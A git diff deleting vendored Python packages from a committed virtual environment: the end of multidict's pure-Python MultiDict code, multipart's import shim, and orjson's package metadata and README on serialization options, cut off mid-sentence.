self._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - value = e.value - self._del_at(slot, idx) - self._incr_version() - return value - if default is sentinel: - raise KeyError(key) - else: - return default - - # Type checking will inherit signature for pop() if we don't confuse it here. - if not TYPE_CHECKING: - pop = popone - - @overload - def popall(self, key: str) -> list[_V]: ... - @overload - def popall(self, key: str, default: _T) -> Union[list[_V], _T]: ... - def popall( - self, key: str, default: Union[_T, _SENTINEL] = sentinel - ) -> Union[list[_V], _T]: - """Remove all occurrences of key and return the list of corresponding - values. - - If key is not found, default is returned if given, otherwise - KeyError is raised. - - """ - found = False - identity = self._identity(key) - hash_ = hash(identity) - ret = [] - for slot, idx, e in self._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - found = True - ret.append(e.value) - self._del_at(slot, idx) - self._incr_version() - - if not found: - if default is sentinel: - raise KeyError(key) - else: - return default - else: - return ret - - def popitem(self) -> tuple[str, _V]: - """Remove and return an arbitrary (key, value) pair.""" - if self._used <= 0: - raise KeyError("empty multidict") - - pos = len(self._keys.entries) - 1 - entry = self._keys.entries.pop() - - while entry is None: - pos -= 1 - entry = self._keys.entries.pop() - - ret = self._key(entry.key), entry.value - self._keys.del_idx(entry.hash, pos) - self._used -= 1 - self._incr_version() - return ret - - def update(self, arg: MDArg[_V] = None, /, **kwargs: _V) -> None: - """Update the dictionary, overwriting existing keys.""" - it = self._parse_args(arg, kwargs) - newsize = self._used + cast(int, next(it)) - log2_size = estimate_log2_keysize(newsize) - if log2_size > 17: # pragma: no cover - # Don't overallocate really huge keys space in update, - # duplicate keys could reduce the resulting anount of entries - log2_size = 17 - if log2_size > self._keys.log2_size: - self._resize(log2_size, False) - try: - self._update_items(cast(Iterator[_Entry[_V]], it)) - finally: - self._post_update() - - def _update_items(self, items: Iterator[_Entry[_V]]) -> None: - for entry in items: - found = False - hash_ = entry.hash - identity = entry.identity - for slot, idx, e in self._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - if not found: - found = True - e.key = entry.key - e.value = entry.value - e.hash = -1 - else: - self._del_at_for_upd(e) - if not found: - self._add_with_hash_for_upd(entry) - - def _post_update(self) -> None: - keys = self._keys - indices = keys.indices - entries = keys.entries - for slot in range(keys.nslots): - idx = indices[slot] - if idx >= 0: - e2 = entries[idx] - assert e2 is not None - if e2.key is None: - entries[idx] = None - indices[slot] = -2 - self._used -= 1 - if e2.hash == -1: - e2.hash = hash(e2.identity) - - self._incr_version() - - def merge(self, arg: MDArg[_V] = None, /, **kwargs: _V) -> None: - """Merge into the dictionary, adding non-existing keys.""" - it = self._parse_args(arg, kwargs) - newsize = self._used + cast(int, next(it)) - log2_size = estimate_log2_keysize(newsize) - if log2_size > 17: # pragma: no cover - # Don't overallocate really huge keys space in update, - # duplicate keys could reduce the resulting anount of entries - log2_size = 17 - if log2_size > self._keys.log2_size: - self._resize(log2_size, False) - try: - self._merge_items(cast(Iterator[_Entry[_V]], it)) - finally: - self._post_update() - - def _merge_items(self, items: Iterator[_Entry[_V]]) -> None: - for entry in items: - hash_ = entry.hash - identity = entry.identity - for slot, idx, e in self._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - break - else: - self._add_with_hash_for_upd(entry) - - def _incr_version(self) -> None: - v = _version - v[0] += 1 - self._version = v[0] - - def _resize(self, log2_newsize: int, update: bool) -> None: - oldkeys = self._keys - newentries = self._used - - if len(oldkeys.entries) == newentries: - entries = oldkeys.entries - else: - entries = [e for e in oldkeys.entries if e is not None] - newkeys: _HtKeys[_V] = _HtKeys.new(log2_newsize, entries) - newkeys.usable -= newentries - newkeys.build_indices(update) - self._keys = newkeys - - def _add_with_hash(self, entry: _Entry[_V]) -> None: - if self._keys.usable <= 0: - self._resize((self._used * 3 | _HtKeys.MINSIZE - 1).bit_length(), False) - keys = self._keys - slot = keys.find_empty_slot(entry.hash) - keys.indices[slot] = len(keys.entries) - keys.entries.append(entry) - self._incr_version() - self._used += 1 - keys.usable -= 1 - - def _add_with_hash_for_upd(self, entry: _Entry[_V]) -> None: - if self._keys.usable <= 0: - self._resize((self._used * 3 | _HtKeys.MINSIZE - 1).bit_length(), True) - keys = self._keys - slot = keys.find_empty_slot(entry.hash) - keys.indices[slot] = len(keys.entries) - entry.hash = -1 - keys.entries.append(entry) - self._incr_version() - self._used += 1 - keys.usable -= 1 - - def _del_at(self, slot: int, idx: int) -> None: - self._keys.entries[idx] = None - self._keys.indices[slot] = -2 - self._used -= 1 - - def _del_at_for_upd(self, entry: _Entry[_V]) -> None: - entry.key = None # type: ignore[assignment] - entry.value = None # type: ignore[assignment] - - -class CIMultiDict(_CIMixin, MultiDict[_V]): - """Dictionary with the support for duplicate case-insensitive keys.""" - - -class MultiDictProxy(_CSMixin, MultiMapping[_V]): - """Read-only proxy for MultiDict instance.""" - - __slots__ = ("_md",) - - _md: MultiDict[_V] - - def __init__(self, arg: Union[MultiDict[_V], "MultiDictProxy[_V]"]): - if not isinstance(arg, (MultiDict, MultiDictProxy)): - raise TypeError( - f"ctor requires MultiDict or MultiDictProxy instance, not {type(arg)}" - ) - if isinstance(arg, MultiDictProxy): - self._md = arg._md - else: - self._md = arg - - def __reduce__(self) -> NoReturn: - raise TypeError(f"can't pickle {self.__class__.__name__} objects") - - @overload - def getall(self, key: str) -> list[_V]: ... - @overload - def getall(self, key: str, default: _T) -> Union[list[_V], _T]: ... - def getall( - self, key: str, default: Union[_T, _SENTINEL] = sentinel - ) -> Union[list[_V], _T]: - """Return a list of all values matching the key.""" - if default is not sentinel: - return self._md.getall(key, default) - else: - return self._md.getall(key) - - @overload - def getone(self, key: str) -> _V: ... - @overload - def getone(self, key: str, default: _T) -> Union[_V, _T]: ... - def getone( - self, key: str, default: Union[_T, _SENTINEL] = sentinel - ) -> Union[_V, _T]: - """Get first value matching the key. - - Raises KeyError if the key is not found and no default is provided. - """ - if default is not sentinel: - return self._md.getone(key, default) - else: - return self._md.getone(key) - - # Mapping interface # - - def __getitem__(self, key: str) -> _V: - return self.getone(key) - - @overload - def get(self, key: str, /) -> Union[_V, None]: ... - @overload - def get(self, key: str, /, default: _T) -> Union[_V, _T]: ... - def get(self, key: str, default: Union[_T, None] = None) -> Union[_V, _T, None]: - """Get first value matching the key. - - If the key is not found, returns the default (or None if no default is provided) - """ - return self._md.getone(key, default) - - def __iter__(self) -> Iterator[str]: - return iter(self._md.keys()) - - def __len__(self) -> int: - return len(self._md) - - def keys(self) -> KeysView[str]: - """Return a new view of the dictionary's keys.""" - return self._md.keys() - - def items(self) -> ItemsView[str, _V]: - """Return a new view of the dictionary's items *(key, value) pairs).""" - return self._md.items() - - def values(self) -> _ValuesView[_V]: - """Return a new view of the dictionary's values.""" - return self._md.values() - - def __eq__(self, other: object) -> bool: - return self._md == other - - def __contains__(self, key: object) -> bool: - return key in self._md - - @reprlib.recursive_repr() - def __repr__(self) -> str: - body = ", ".join(f"'{k}': {v!r}" for k, v in self.items()) - return f"<{self.__class__.__name__}({body})>" - - def copy(self) -> MultiDict[_V]: - """Return a copy of itself.""" - return MultiDict(self._md) - - -class CIMultiDictProxy(_CIMixin, MultiDictProxy[_V]): - """Read-only proxy for CIMultiDict instance.""" - - def __init__(self, arg: Union[MultiDict[_V], MultiDictProxy[_V]]): - if not isinstance(arg, (CIMultiDict, CIMultiDictProxy)): - raise TypeError( - "ctor requires CIMultiDict or CIMultiDictProxy instance" - f", not {type(arg)}" - ) - - super().__init__(arg) - - def copy(self) -> CIMultiDict[_V]: - """Return a copy of itself.""" - return CIMultiDict(self._md) - - -def getversion(md: Union[MultiDict[object], MultiDictProxy[object]]) -> int: - if isinstance(md, MultiDictProxy): - md = md._md - elif not isinstance(md, MultiDict): - raise TypeError("Parameter should be multidict or proxy") - return md._version diff --git a/venv/Lib/site-packages/multidict/py.typed b/venv/Lib/site-packages/multidict/py.typed deleted file mode 100644 index dfe8cc048e7100a97025b954fffa31e4ff859a7d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multidict/py.typed +++ /dev/null @@ -1 +0,0 @@ -PEP-561 marker. \ No newline at end of file diff --git a/venv/Lib/site-packages/multipart/__init__.py b/venv/Lib/site-packages/multipart/__init__.py deleted file mode 100644 index 53c08d28d0ee974896a3fd4cc26e90d1e6592119..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multipart/__init__.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright 2012, Andrew Dunham -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# https://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -# This only works if using a file system, other loaders not implemented. - -import importlib.util -import sys -import warnings -from pathlib import Path - -for p in sys.path: - file_path = Path(p, "multipart.py") - try: - if file_path.is_file(): - spec = importlib.util.spec_from_file_location("multipart", file_path) - assert spec is not None, f"{file_path} found but not loadable!" - module = importlib.util.module_from_spec(spec) - sys.modules["multipart"] = module - assert spec.loader is not None, f"{file_path} must be loadable!" - spec.loader.exec_module(module) - break - except PermissionError: - pass -else: - warnings.warn("Please use `import python_multipart` instead.", PendingDeprecationWarning, stacklevel=2) - from python_multipart import * - from python_multipart import __all__, __version__ diff --git a/venv/Lib/site-packages/multipart/decoders.py b/venv/Lib/site-packages/multipart/decoders.py deleted file mode 100644 index 31acdfbf1d69a0a13dcde2742fdeb6ff04e98e7d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multipart/decoders.py +++ /dev/null @@ -1 +0,0 @@ -from python_multipart.decoders import * diff --git a/venv/Lib/site-packages/multipart/exceptions.py b/venv/Lib/site-packages/multipart/exceptions.py deleted file mode 100644 index 36815d1980abcf496bf63b0ac93525053111dc79..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multipart/exceptions.py +++ /dev/null @@ -1 +0,0 @@ -from python_multipart.exceptions import * diff --git a/venv/Lib/site-packages/multipart/multipart.py b/venv/Lib/site-packages/multipart/multipart.py deleted file mode 100644 index 7bf567dfc297e9e97c10073b2022efc993e39b93..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multipart/multipart.py +++ /dev/null @@ -1 +0,0 @@ -from python_multipart.multipart import * diff --git a/venv/Lib/site-packages/orjson-3.12.0.dist-info/INSTALLER b/venv/Lib/site-packages/orjson-3.12.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/orjson-3.12.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/orjson-3.12.0.dist-info/METADATA b/venv/Lib/site-packages/orjson-3.12.0.dist-info/METADATA deleted file mode 100644 index 4dc7351c361266f95a2716a7b656a99a684508bc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/orjson-3.12.0.dist-info/METADATA +++ /dev/null @@ -1,1141 +0,0 @@ -Metadata-Version: 2.4 -Name: orjson -Version: 3.12.0 -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: Apache Software License -Classifier: License :: OSI Approved :: MIT License -Classifier: License :: OSI Approved :: Mozilla Public License 2.0 (MPL 2.0) -Classifier: Operating System :: MacOS -Classifier: Operating System :: Microsoft :: Windows -Classifier: Operating System :: POSIX :: Linux -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: 3.15 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python -Classifier: Programming Language :: Rust -Classifier: Typing :: Typed -License-File: LICENSE-APACHE -License-File: LICENSE-MIT -License-File: LICENSE-MPL-2.0 -Summary: Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy -License-Expression: MPL-2.0 AND (Apache-2.0 OR MIT) -Requires-Python: >=3.10 -Description-Content-Type: text/markdown; charset=UTF-8; variant=GFM -Project-URL: changelog, https://github.com/ijl/orjson/blob/master/CHANGELOG.md -Project-URL: documentation, https://github.com/ijl/orjson -Project-URL: source, https://github.com/ijl/orjson - -# orjson - -orjson is a fast, correct JSON library for Python. It -[benchmarks](https://github.com/ijl/orjson?tab=readme-ov-file#performance) as the fastest Python -library for JSON and is more correct than the standard json library or other -third-party libraries. It serializes -[dataclass](https://github.com/ijl/orjson?tab=readme-ov-file#dataclass), -[datetime](https://github.com/ijl/orjson?tab=readme-ov-file#datetime), -[numpy](https://github.com/ijl/orjson?tab=readme-ov-file#numpy), and -[UUID](https://github.com/ijl/orjson?tab=readme-ov-file#uuid) instances natively. - -[orjson.dumps()](https://github.com/ijl/orjson?tab=readme-ov-file#serialize) is -something like 10x as fast as `json`, serializes -common types and subtypes, has a `default` parameter for the caller to specify -how to serialize arbitrary types, and has a number of flags controlling output. - -[orjson.loads()](https://github.com/ijl/orjson?tab=readme-ov-file#deserialize) -is something like 2x as fast as `json`, and is strictly compliant with UTF-8 and -RFC 8259 ("The JavaScript Object Notation (JSON) Data Interchange Format"). - -Reading from and writing to files, line-delimited JSON files, and so on is -not provided by the library. - -orjson supports CPython 3.10, 3.11, 3.12, 3.13, 3.14, and 3.15. - -It distributes amd64/x86_64/x64, i686/x86, aarch64/arm64/armv8, and armv7 wheels -for Linux, amd64 and aarch64 wheels -for macOS, and amd64, i686, and aarch64 wheels for Windows. - -Wheels published to PyPI for amd64 run on x86-64-v1 (2003) -or later, but will at runtime use AVX-512 if available for a -significant performance benefit; aarch64 wheels run on ARMv8-A (2011) or -later. - -orjson does not and will not support PyPy, embedded Python builds for -Android/iOS, or PEP 554 subinterpreters. - -orjson may support PEP 703 free-threading when it is stable. - -Releases follow semantic versioning and serializing a new object type -without an opt-in flag is considered a breaking change. - -orjson contains source code licensed under the Mozilla Public License 2.0, -Apache 2.0, and MIT licenses. The repository from which PyPI artifacts are -published is [github.com/ijl/orjson](https://github.com/ijl/orjson) and an -alternative repository is [codeberg.org/ijl/orjson](https://codeberg.org/ijl/orjson). -There is no open issue tracker or pull requests due to signal-to-noise ratio. -There is a [CHANGELOG](https://github.com/ijl/orjson/blob/master/CHANGELOG.md) -available in the repository. - -1. [Usage](https://github.com/ijl/orjson?tab=readme-ov-file#usage) - 1. [Install](https://github.com/ijl/orjson?tab=readme-ov-file#install) - 2. [Quickstart](https://github.com/ijl/orjson?tab=readme-ov-file#quickstart) - 3. [Migrating](https://github.com/ijl/orjson?tab=readme-ov-file#migrating) - 4. [Serialize](https://github.com/ijl/orjson?tab=readme-ov-file#serialize) - 1. [default](https://github.com/ijl/orjson?tab=readme-ov-file#default) - 2. [option](https://github.com/ijl/orjson?tab=readme-ov-file#option) - 3. [Fragment](https://github.com/ijl/orjson?tab=readme-ov-file#fragment) - 5. [Deserialize](https://github.com/ijl/orjson?tab=readme-ov-file#deserialize) -2. [Types](https://github.com/ijl/orjson?tab=readme-ov-file#types) - 1. [dataclass](https://github.com/ijl/orjson?tab=readme-ov-file#dataclass) - 2. [datetime](https://github.com/ijl/orjson?tab=readme-ov-file#datetime) - 3. [enum](https://github.com/ijl/orjson?tab=readme-ov-file#enum) - 4. [float](https://github.com/ijl/orjson?tab=readme-ov-file#float) - 5. [int](https://github.com/ijl/orjson?tab=readme-ov-file#int) - 6. [numpy](https://github.com/ijl/orjson?tab=readme-ov-file#numpy) - 7. [str](https://github.com/ijl/orjson?tab=readme-ov-file#str) - 8. [uuid](https://github.com/ijl/orjson?tab=readme-ov-file#uuid) -3. [Testing](https://github.com/ijl/orjson?tab=readme-ov-file#testing) -4. [Performance](https://github.com/ijl/orjson?tab=readme-ov-file#performance) - 1. [Latency](https://github.com/ijl/orjson?tab=readme-ov-file#latency) - 2. [Reproducing](https://github.com/ijl/orjson?tab=readme-ov-file#reproducing) -5. [Questions](https://github.com/ijl/orjson?tab=readme-ov-file#questions) -6. [Packaging](https://github.com/ijl/orjson?tab=readme-ov-file#packaging) -7. [License](https://github.com/ijl/orjson?tab=readme-ov-file#license) - -## Usage - -### Install - -To install a wheel from PyPI, install the `orjson` package. - -In `requirements.in` or `requirements.txt` format, specify: - -```txt -orjson >= 3.10,<4 -``` - -In `pyproject.toml` format, specify: - -```toml -orjson = "^3.10" -``` - -To build a wheel, see [packaging](https://github.com/ijl/orjson?tab=readme-ov-file#packaging). - -### Quickstart - -This is an example of serializing, with options specified, and deserializing: - -```python ->>> import orjson, datetime, numpy ->>> data = { - "type": "job", - "created_at": datetime.datetime(1970, 1, 1), - "status": "🆗", - "payload": numpy.array([[1, 2], [3, 4]]), -} ->>> orjson.dumps(data, option=orjson.OPT_NAIVE_UTC | orjson.OPT_SERIALIZE_NUMPY) -b'{"type":"job","created_at":"1970-01-01T00:00:00+00:00","status":"\xf0\x9f\x86\x97","payload":[[1,2],[3,4]]}' ->>> orjson.loads(_) -{'type': 'job', 'created_at': '1970-01-01T00:00:00+00:00', 'status': '🆗', 'payload': [[1, 2], [3, 4]]} -``` - -### Migrating - -orjson version 3 serializes more types than version 2. Subclasses of `str`, -`int`, `dict`, and `list` are now serialized. This is faster and more similar -to the standard library. It can be disabled with -`orjson.OPT_PASSTHROUGH_SUBCLASS`.`dataclasses.dataclass` instances -are now serialized by default and cannot be customized in a -`default` function unless `option=orjson.OPT_PASSTHROUGH_DATACLASS` is -specified. `uuid.UUID` instances are serialized by default. -For any type that is now serialized, -implementations in a `default` function and options enabling them can be -removed but do not need to be. There was no change in deserialization. - -To migrate from the standard library, the largest difference is that -`orjson.dumps` returns `bytes` and `json.dumps` returns a `str`. - -Users with `dict` objects using non-`str` keys should specify `option=orjson.OPT_NON_STR_KEYS`. - -`sort_keys` is replaced by `option=orjson.OPT_SORT_KEYS`. - -`indent` is replaced by `option=orjson.OPT_INDENT_2` and other levels of indentation are not -supported. - -`ensure_ascii` is probably not relevant today and UTF-8 characters cannot be -escaped to ASCII. - -### Serialize - -```python -def dumps( - __obj: Any, - default: Optional[Callable[[Any], Any]] = ..., - option: Optional[int] = ..., -) -> bytes: ... -``` - -`dumps()` serializes Python objects to JSON. - -It natively serializes -`str`, `dict`, `list`, `tuple`, `int`, `float`, `bool`, `None`, -`dataclasses.dataclass`, `typing.TypedDict`, `datetime.datetime`, -`datetime.date`, `datetime.time`, `uuid.UUID`, `numpy.ndarray`, and -`orjson.Fragment` instances. It supports arbitrary types through `default`. It -serializes subclasses of `str`, `int`, `dict`, `list`, -`dataclasses.dataclass`, and `enum.Enum`. It does not serialize subclasses -of `tuple` to avoid serializing `namedtuple` objects as arrays. To avoid -serializing subclasses, specify the option `orjson.OPT_PASSTHROUGH_SUBCLASS`. - -The output is a `bytes` object containing UTF-8. - -The global interpreter lock (GIL) is held for the duration of the call. - -It raises `JSONEncodeError` on an unsupported type. This exception message -describes the invalid object with the error message -`Type is not JSON serializable: ...`. To fix this, specify -[default](https://github.com/ijl/orjson?tab=readme-ov-file#default). - -It raises `JSONEncodeError` on a `str` that contains invalid UTF-8. - -It raises `JSONEncodeError` on an integer that exceeds 64 bits by default or, -with `OPT_STRICT_INTEGER`, 53 bits. - -It raises `JSONEncodeError` if a `dict` has a key of a type other than `str`, -unless `OPT_NON_STR_KEYS` is specified. - -It raises `JSONEncodeError` if the output of `default` recurses to handling by -`default` more than 254 levels deep. - -It raises `JSONEncodeError` on circular references. - -It raises `JSONEncodeError` if a `tzinfo` on a datetime object is -unsupported. - -`JSONEncodeError` is a subclass of `TypeError`. This is for compatibility -with the standard library. - -If the failure was caused by an exception in `default` then -`JSONEncodeError` chains the original exception as `__cause__`. - -#### default - -To serialize a subclass or arbitrary types, specify `default` as a -callable that returns a supported type. `default` may be a function, -lambda, or callable class instance. To specify that a type was not -handled by `default`, raise an exception such as `TypeError`. - -```python ->>> import orjson, decimal ->>> -def default(obj): - if isinstance(obj, decimal.Decimal): - return str(obj) - raise TypeError - ->>> orjson.dumps(decimal.Decimal("0.0842389659712649442845")) -JSONEncodeError: Type is not JSON serializable: decimal.Decimal ->>> orjson.dumps(decimal.Decimal("0.0842389659712649442845"), default=default) -b'"0.0842389659712649442845"' ->>> orjson.dumps({1, 2}, default=default) -orjson.JSONEncodeError: Type is not JSON serializable: set -``` - -The `default` callable may return an object that itself -must be handled by `default` up to 254 times before an exception -is raised. - -It is important that `default` raise an exception if a type cannot be handled. -Python otherwise implicitly returns `None`, which appears to the caller -like a legitimate value and is serialized: - -```python ->>> import orjson, json ->>> -def default(obj): - if isinstance(obj, decimal.Decimal): - return str(obj) - ->>> orjson.dumps({"set":{1, 2}}, default=default) -b'{"set":null}' ->>> json.dumps({"set":{1, 2}}, default=default) -'{"set":null}' -``` - -#### option - -To modify how data is serialized, specify `option`. Each `option` is an integer -constant in `orjson`. To specify multiple options, mask them together, e.g., -`option=orjson.OPT_STRICT_INTEGER | orjson.OPT_NAIVE_UTC`. - -##### OPT_APPEND_NEWLINE - -Append `\n` to the output. This is a convenience and optimization for the -pattern of `dumps(...) + "\n"`. `bytes` objects are immutable and this -pattern copies the original contents. - -```python ->>> import orjson ->>> orjson.dumps([]) -b"[]" ->>> orjson.dumps([], option=orjson.OPT_APPEND_NEWLINE) -b"[]\n" -``` - -##### OPT_INDENT_2 - -Pretty-print output with an indent of two spaces. This is equivalent to -`indent=2` in the standard library. Pretty printing is slower and the output -larger. This option is compatible with all other options. - -```python ->>> import orjson ->>> orjson.dumps({"a": "b", "c": {"d": True}, "e": [1, 2]}) -b'{"a":"b","c":{"d":true},"e":[1,2]}' ->>> orjson.dumps( - {"a": "b", "c": {"d": True}, "e": [1, 2]}, - option=orjson.OPT_INDENT_2 -) -b'{\n "a": "b",\n "c": {\n "d": true\n },\n "e": [\n 1,\n 2\n ]\n}' -``` - -If displayed, the indentation and linebreaks appear like this: - -```json -{ - "a": "b", - "c": { - "d": true - }, - "e": [ - 1, - 2 - ] -} -``` - -This measures serializing the github.json fixture as compact (52KiB) or -pretty (64KiB): - -| Library | compact (ms) | pretty (ms) | vs. orjson | -|-----------|----------------|---------------|--------------| -| orjson | 0.01 | 0.02 | 1 | -| json | 0.13 | 0.54 | 34 | - -This measures serializing the citm_catalog.json fixture, more of a worst -case due to the amount of nesting and newlines, as compact (489KiB) or -pretty (1.1MiB): - -| Library | compact (ms) | pretty (ms) | vs. orjson | -|-----------|----------------|---------------|--------------| -| orjson | 0.25 | 0.45 | 1 | -| json | 3.01 | 24.42 | 54.4 | - -This can be reproduced using the `pyindent` script. - -##### OPT_NAIVE_UTC - -Serialize `datetime.datetime` objects without a `tzinfo` as UTC. This -has no effect on `datetime.datetime` objects that have `tzinfo` set. - -```python ->>> import orjson, datetime ->>> orjson.dumps( - datetime.datetime(1970, 1, 1, 0, 0, 0), - ) -b'"1970-01-01T00:00:00"' ->>> orjson.dumps( - datetime.datetime(1970, 1, 1, 0, 0, 0), - option=orjson.OPT_NAIVE_UTC, - ) -b'"1970-01-01T00:00:00+00:00"' -``` - -##### OPT_NON_STR_KEYS - -Serialize `dict` keys of type other than `str`. This allows `dict` keys -to be one of `str`, `int`, `float`, `bool`, `None`, `datetime.datetime`, -`datetime.date`, `datetime.time`, `enum.Enum`, and `uuid.UUID`. For comparison, -the standard library serializes `str`, `int`, `float`, `bool` or `None` by -default. orjson benchmarks as being faster at serializing non-`str` keys -than other libraries. This option is slower for `str` keys than the default. - -```python ->>> import orjson, datetime, uuid ->>> orjson.dumps( - {uuid.UUID("7202d115-7ff3-4c81-a7c1-2a1f067b1ece"): [1, 2, 3]}, - option=orjson.OPT_NON_STR_KEYS, - ) -b'{"7202d115-7ff3-4c81-a7c1-2a1f067b1ece":[1,2,3]}' ->>> orjson.dumps( - {datetime.datetime(1970, 1, 1, 0, 0, 0): [1, 2, 3]}, - option=orjson.OPT_NON_STR_KEYS | orjson.OPT_NAIVE_UTC, - ) -b'{"1970-01-01T00:00:00+00:00":[1,2,3]}' -``` - -These types are generally serialized how they would be as -values, e.g., `datetime.datetime` is still an RFC 3339 string and respects -options affecting it. The exception is that `int` serialization does not -respect `OPT_STRICT_INTEGER`. - -This option has the risk of creating duplicate keys. This is because non-`str` -objects may serialize to the same `str` as an existing key, e.g., -`{"1": true, 1: false}`. The last key to be inserted to the `dict` will be -serialized last and a JSON deserializer will presumably take the last -occurrence of a key (in the above, `false`). The first value will be lost. - -This option is compatible with `orjson.OPT_SORT_KEYS`. If sorting is used, -note the sort is unstable and will be unpredictable for duplicate keys. - -```python ->>> import orjson, datetime ->>> orjson.dumps( - {"other": 1, datetime.date(1970, 1, 5): 2, datetime.date(1970, 1, 3): 3}, - option=orjson.OPT_NON_STR_KEYS | orjson.OPT_SORT_KEYS -) -b'{"1970-01-03":3,"1970-01-05":2,"other":1}' -``` - -This measures serializing 589KiB of JSON comprising a `list` of 100 `dict` -in which each `dict` has both 365 randomly-sorted `int` keys representing epoch -timestamps as well as one `str` key and the value for each key is a -single integer. In "str keys", the keys were converted to `str` before -serialization, and orjson still specifes `option=orjson.OPT_NON_STR_KEYS` -(which is always somewhat slower). - -| Library | str keys (ms) | int keys (ms) | int keys sorted (ms) | -|-----------|-----------------|-----------------|------------------------| -| orjson | 0.5 | 0.93 | 2.08 | -| json | 2.72 | 3.59 | | - -json is blank because it -raises `TypeError` on attempting to sort before converting all keys to `str`. -This can be reproduced using the `pynonstr` script. - -##### OPT_OMIT_MICROSECONDS - -Do not serialize the `microsecond` field on `datetime.datetime` and -`datetime.time` instances. - -```python ->>> import orjson, datetime ->>> orjson.dumps( - datetime.datetime(1970, 1, 1, 0, 0, 0, 1), - ) -b'"1970-01-01T00:00:00.000001"' ->>> orjson.dumps( - datetime.datetime(1970, 1, 1, 0, 0, 0, 1), - option=orjson.OPT_OMIT_MICROSECONDS, - ) -b'"1970-01-01T00:00:00"' -``` - -##### OPT_PASSTHROUGH_DATACLASS - -Passthrough `dataclasses.dataclass` instances to `default`. This allows -customizing their output but is much slower. - - -```python ->>> import orjson, dataclasses ->>> -@dataclasses.dataclass -class User: - id: str - name: str - password: str - -def default(obj): - if isinstance(obj, User): - return {"id": obj.id, "name": obj.name} - raise TypeError - ->>> orjson.dumps(User("3b1", "asd", "zxc")) -b'{"id":"3b1","name":"asd","password":"zxc"}' ->>> orjson.dumps(User("3b1", "asd", "zxc"), option=orjson.OPT_PASSTHROUGH_DATACLASS) -TypeError: Type is not JSON serializable: User ->>> orjson.dumps( - User("3b1", "asd", "zxc"), - option=orjson.OPT_PASSTHROUGH_DATACLASS, - default=default, - ) -b'{"id":"3b1","name":"asd"}' -``` - -##### OPT_PASSTHROUGH_DATETIME - -Passthrough `datetime.datetime`, `datetime.date`, and `datetime.time` instances -to `default`. This allows serializing datetimes to a custom format, e.g., -HTTP dates: - -```python ->>> import orjson, datetime ->>> -def default(obj): - if isinstance(obj, datetime.datetime): - return obj.strftime("%a, %d %b %Y %H:%M:%S GMT") - raise TypeError - ->>> orjson.dumps({"created_at": datetime.datetime(1970, 1, 1)}) -b'{"created_at":"1970-01-01T00:00:00"}' ->>> orjson.dumps({"created_at": datetime.datetime(1970, 1, 1)}, option=orjson.OPT_PASSTHROUGH_DATETIME) -TypeError: Type is not JSON serializable: datetime.datetime ->>> orjson.dumps( - {"created_at": datetime.datetime(1970, 1, 1)}, - option=orjson.OPT_PASSTHROUGH_DATETIME, - default=default, - ) -b'{"created_at":"Thu, 01 Jan 1970 00:00:00 GMT"}' -``` - -This does not affect datetimes in `dict` keys if using OPT_NON_STR_KEYS. - -##### OPT_PASSTHROUGH_SUBCLASS - -Passthrough subclasses of builtin types to `default`. - -```python ->>> import orjson ->>> -class Secret(str): - pass - -def default(obj): - if isinstance(obj, Secret): - return "******" - raise TypeError - ->>> orjson.dumps(Secret("zxc")) -b'"zxc"' ->>> orjson.dumps(Secret("zxc"), option=orjson.OPT_PASSTHROUGH_SUBCLASS) -TypeError: Type is not JSON serializable: Secret ->>> orjson.dumps(Secret("zxc"), option=orjson.OPT_PASSTHROUGH_SUBCLASS, default=default) -b'"******"' -``` - -This does not affect serializing subclasses as `dict` keys if using -OPT_NON_STR_KEYS. - -##### OPT_SERIALIZE_DATACLASS - -This is deprecated and has no effect in version 3. In version 2 this was -required to serialize `dataclasses.dataclass` instances. For more, see -[dataclass](https://github.com/ijl/orjson?tab=readme-ov-file#dataclass). - -##### OPT_SERIALIZE_NUMPY - -Serialize `numpy.ndarray` instances. For more, see -[numpy](https://github.com/ijl/orjson?tab=readme-ov-file#numpy). - -##### OPT_SERIALIZE_UUID - -This is deprecated and has no effect in version 3. In version 2 this was -required to serialize `uuid.UUID` instances. For more, see -[UUID](https://github.com/ijl/orjson?tab=readme-ov-file#UUID). - -##### OPT_SORT_KEYS - -Serialize `dict` keys in sorted order. The default is to serialize in an -unspecified order. This is equivalent to `sort_keys=True` in the standard -library. - -This can be used to ensure the order is deterministic for hashing or tests. -It has a substantial performance penalty and is not recommended in general. - -```python ->>> import orjson ->>> orjson.dumps({"b": 1, "c": 2, "a": 3}) -b'{"b":1,"c":2,"a":3}' ->>> orjson.dumps({"b": 1, "c": 2, "a": 3}, option=orjson.OPT_SORT_KEYS) -b'{"a":3,"b":1,"c":2}' -``` - -This measures serializing the twitter.json fixture unsorted and sorted: - -| Library | unsorted (ms) | sorted (ms) | vs. orjson | -|-----------|-----------------|---------------|--------------| -| orjson | 0.11 | 0.3 | 1 | -| json | 1.36 | 1.93 | 6.4 | - -The benchmark can be reproduced using the `pysort` 